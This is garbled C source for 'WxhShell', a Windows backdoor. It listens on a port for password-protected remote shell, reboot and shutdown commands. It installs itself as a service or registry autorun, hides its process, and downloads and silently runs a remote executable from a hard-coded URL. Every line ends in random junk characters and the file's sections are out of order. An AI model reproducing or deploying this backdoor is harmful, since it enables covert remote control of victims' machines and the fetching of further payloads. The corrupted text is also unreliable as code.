DWORD AffinityMask; "I?Am&>'
DWORD BasePriority; K5ZC:Ks
ULONG UniqueProcessId; _
nA p6i
ULONG InheritedFromUniqueProcessId; $E<Esf$
} PROCESS_BASIC_INFORMATION; =!O*/6rz
:P,sxDlG)
PROCNTQSIP NtQueryInformationProcess; 6=4wp?
8KB>6[H!wE
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q5h*`7f
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
;__9TN
2]GdD*
HANDLE hProcess; MObt,[^W
PROCESS_BASIC_INFORMATION pbi; ~7~~S*EQ
\P} p5k[
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5$DHn]
if(NULL == hInst ) return 0; PWh^[Rd)
B]m@:|Q
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N8qDdr9p?c
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xq-17HKs
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _Jwq`]Z
/,!qFt
if (!NtQueryInformationProcess) return 0; t*@2OW`!
F:*W5xX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [A}rbD K
if(!hProcess) return 0; >AoK/(yL.
{o5V7*P;_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t+5E#!y
1h6^>()^
CloseHandle(hProcess); q@b|F-
`D9]*c
!mO
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NCxqh <
if(hProcess==NULL) return 0; g{W;I_P^9
;a-$D]Db
HMODULE hMod; 0ye!R
char procName[255]; f;/QJ
unsigned long cbNeeded; (D@A74q\'
OB[o2G <0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *~m+Nc`D,N
y5Tlpi`g
CloseHandle(hProcess); [tMZ G%h
gp$Ucfu'
if(strstr(procName,"services")) return 1; // 以服务启动 i)#s.6.D>
}FzqW*4~
return 0; // 注册表启动 AuR$g7z
} S1D@vnZ3O\
nXjPx@
// 主模块 5{n*"88
int StartWxhshell(LPSTR lpCmdLine) =6aS&B(SN
{ h" H2z1$
SOCKET wsl; )'*5R <#
BOOL val=TRUE; 7'
S @3
int port=0; Q5%#^ZdsTd
struct sockaddr_in door; >DPB!XA3
: Sq?a0!S
if(wscfg.ws_autoins) Install(); H3Se={5h\A
V138d?Mm
port=atoi(lpCmdLine); ;Ag
3c+
Isx#9C
if(port<=0) port=wscfg.ws_port; *6 _tQ9G
%F kMv
WSADATA data; K-&V,MI
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `bc;]@"
[frq
'c
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9<Kj6t_
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <(vCiH9~P
door.sin_family = AF_INET; U35AX9/
door.sin_addr.s_addr = inet_addr("127.0.0.1"); v=('{/^~>
door.sin_port = htons(port); >J u]2++lx
-48vJR*tC
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pIbdN/z
closesocket(wsl); pH`44KAuM
return 1; aTf`BG{kw
} j[Uxa
^!q?vo\j|
if(listen(wsl,2) == INVALID_SOCKET) { XT;u<aJs
closesocket(wsl); ]0L&v7[
return 1; Gn;@{x6
} qH['09/F6
Wxhshell(wsl); N25V]
WSACleanup(); c^`]`xiX
m[k_>e\u
return 0; XNgDf3T
9;xM%
} |a{Q0:
.5!t:FPOv
// 以NT服务方式启动 42L
@w
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #Wu*3&a]yU
{ fL]Pztsk+
DWORD status = 0; :$+-3_oLMQ
DWORD specificError = 0xfffffff; zS]8V?`
:rP#I#,7w
serviceStatus.dwServiceType = SERVICE_WIN32; US
serviceStatus.dwCurrentState = SERVICE_START_PENDING; hVUP4 A
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1n\ t+F
serviceStatus.dwWin32ExitCode = 0; wb Iq&>p
serviceStatus.dwServiceSpecificExitCode = 0; ]\ngX;h8G
serviceStatus.dwCheckPoint = 0; 4~U'TE
@
serviceStatus.dwWaitHint = 0; .Yw'oYnS
$4MrP$4TI
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E\; ikX&1
if (hServiceStatusHandle==0) return; i_][PTH
{,OS-g
status = GetLastError(); z6py"J@
if (status!=NO_ERROR) p\{-t84n
{ ];%0qb
serviceStatus.dwCurrentState = SERVICE_STOPPED; BnRN;bu
serviceStatus.dwCheckPoint = 0; n4lutnF
serviceStatus.dwWaitHint = 0; +y 87~]]
serviceStatus.dwWin32ExitCode = status; hXGwP4
serviceStatus.dwServiceSpecificExitCode = specificError; e|4&b@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7 h y&-<
return; .d/:30Y
} ~:km]?lz0
2BCtJ`S`
serviceStatus.dwCurrentState = SERVICE_RUNNING; h d~$WV0#
serviceStatus.dwCheckPoint = 0; flgRpXt
serviceStatus.dwWaitHint = 0; %P;Q|v6/|
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E+C5 h
;p&
} RllY-JBO
1009ES7*
// 处理NT服务事件,比如:启动、停止 7*DMVok:
VOID WINAPI NTServiceHandler(DWORD fdwControl) n}xhW'3hU=
{ 0b91y3R+
switch(fdwControl) Vx_rc%'
{ `]Bxn)b(
case SERVICE_CONTROL_STOP: ;IK[Y{W/
serviceStatus.dwWin32ExitCode = 0; 1{_A:<VBl
serviceStatus.dwCurrentState = SERVICE_STOPPED; /J)l /oI
serviceStatus.dwCheckPoint = 0; 6mH/ m&
serviceStatus.dwWaitHint = 0; *Ywpz^2?:
{ L}#0I+Ml7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); aAu>Tn86D.
} f`>/
H!<2
return; `bKA+c,f
case SERVICE_CONTROL_PAUSE: 9x+<Ik
serviceStatus.dwCurrentState = SERVICE_PAUSED; :Sg_tOf
break; Da$r `
case SERVICE_CONTROL_CONTINUE: A|}l)!%
serviceStatus.dwCurrentState = SERVICE_RUNNING; G1 o70
break; *]J dHO
case SERVICE_CONTROL_INTERROGATE:
QH]M
break; W\f9jfD
}; eK /?%t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4;`Bj:.
} e7u^mJ
0^'B3$>
// 标准应用程序主函数 uR6w|e`
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8
6QE/M
{ E99CmG|"
UkCnqNvx
// 获取操作系统版本 ,~zj=F
OsIsNt=GetOsVer(); (wRBd
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wi n8LOC
3>z[PPw
// 从命令行安装 q^rl)
if(strpbrk(lpCmdLine,"iI")) Install(); l6[lJ0Y
h06ku2Q
// 下载执行文件 ,G^[o,hS
if(wscfg.ws_downexe) { tNs~M4TVVH
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V's:>;
WinExec(wscfg.ws_filenam,SW_HIDE); O\;= V`z-
} !/K8xD$
]Pn!nSg
if(!OsIsNt) { 'UM!*fk7C
// 如果时win9x,隐藏进程并且设置为注册表启动 TPO1 GF
HideProc(); %>Xr5<$:&
StartWxhshell(lpCmdLine); Mu_i$j$vvP
} (g :p5Rl
else 2>S~I"o0
if(StartFromService()) ,$r2gr!_G
// 以服务方式启动 Y ?]G}5
StartServiceCtrlDispatcher(DispatchTable); bm&87
else ;Hm'6TR!
// 普通方式启动 .&,[,
StartWxhshell(lpCmdLine); QL"gWr`R
fUag1d
return 0; OsW"CF2
} 2]jPv0u
0yof u
j~ym<-[{a
MM#cLw
=========================================== $CtCOwKZ
>?XbU}
1czG55 |
:q2YBa
*)VAaGUX>
Y4~vC[$x'
" vrcE]5(:s
#-x@"+z
#include <stdio.h> }X1.Wt=?
#include <string.h> xcSR{IZ
#include <windows.h> =mrY/:V
#include <winsock2.h> 9$tl00
#include <winsvc.h> !y vJpdsof
#include <urlmon.h> {*=E?oF@
@[r ={s\
#pragma comment (lib, "Ws2_32.lib") <*@~n- R$
#pragma comment (lib, "urlmon.lib") kJ8vKcc
9={N4}<
#define MAX_USER 100 // 最大客户端连接数 n85r^W
#define BUF_SOCK 200 // sock buffer QaMDGD
#define KEY_BUFF 255 // 输入 buffer (L#%!bd
^tE_LL+ji|
#define REBOOT 0 // 重启 GJak.,0t
#define SHUTDOWN 1 // 关机 jKt-~:
9y+[o
#define DEF_PORT 5000 // 监听端口 $Xt;A&l2?
,+-? Zv 2
#define REG_LEN 16 // 注册表键长度 >~&(P_<b
#define SVC_LEN 80 // NT服务名长度 jfSg){
Qq0O0U
// 从dll定义API V<-htV
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lwsbm D
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]C)|+`XE@
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *]!l%Uf%
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~PYFYjHC
>-<F)
// wxhshell配置信息 )VY10R)$
struct WSCFG { 6F ;Or
int ws_port; // 监听端口 7)PJ:4IqS
char ws_passstr[REG_LEN]; // 口令 6K//1U$
int ws_autoins; // 安装标记, 1=yes 0=no Qu}N:P9l?X
char ws_regname[REG_LEN]; // 注册表键名 Qtnv#9%Vi
char ws_svcname[REG_LEN]; // 服务名 $nFAu}%C
char ws_svcdisp[SVC_LEN]; // 服务显示名 T&4fBMBp,%
char ws_svcdesc[SVC_LEN]; // 服务描述信息 k#jm7 +
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V2QW\2@$
int ws_downexe; // 下载执行标记, 1=yes 0=no U9F6d!:L7A
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 96)v#B?p
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AY@k-4
paYz[Xq
};
|`v^ d|
C M^r|4K
// default Wxhshell configuration dgY5ccP
struct WSCFG wscfg={DEF_PORT, I9,8HtnA
"xuhuanlingzhe", JilKZQmk
1, }+JLn%H)
"Wxhshell", :3gFHBFDj
"Wxhshell", `OLB';D
"WxhShell Service", rT<1S?jR
"Wrsky Windows CmdShell Service", pLJeajv)z
"Please Input Your Password: ", ^@N`e1
1, 'rh\CA/}D
"http://www.wrsky.com/wxhshell.exe", iW-t}}Z>B
"Wxhshell.exe" _;VYFs
}; th90O|;
'Dq"e$JM<
// 消息定义模块 R{ 4u|A?9
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $WJy?_c
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3m~U(yho
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XC2Q*Z
char *msg_ws_ext="\n\rExit."; ^:U;rHY
char *msg_ws_end="\n\rQuit."; =3pD:L
char *msg_ws_boot="\n\rReboot..."; xNx`J@xt$
char *msg_ws_poff="\n\rShutdown..."; z(r"JNO@
char *msg_ws_down="\n\rSave to "; wV?[3bEhM
2t.fD@
char *msg_ws_err="\n\rErr!"; ;wpW2%&
char *msg_ws_ok="\n\rOK!"; BHIM'24bp
ELD
+:b
char ExeFile[MAX_PATH]; EtPgzw[#c9
int nUser = 0; tPA"lBS !
HANDLE handles[MAX_USER]; VgUvD1v?}
int OsIsNt; }el,^~
i /C'0
SERVICE_STATUS serviceStatus; -IGMl_s
SERVICE_STATUS_HANDLE hServiceStatusHandle; &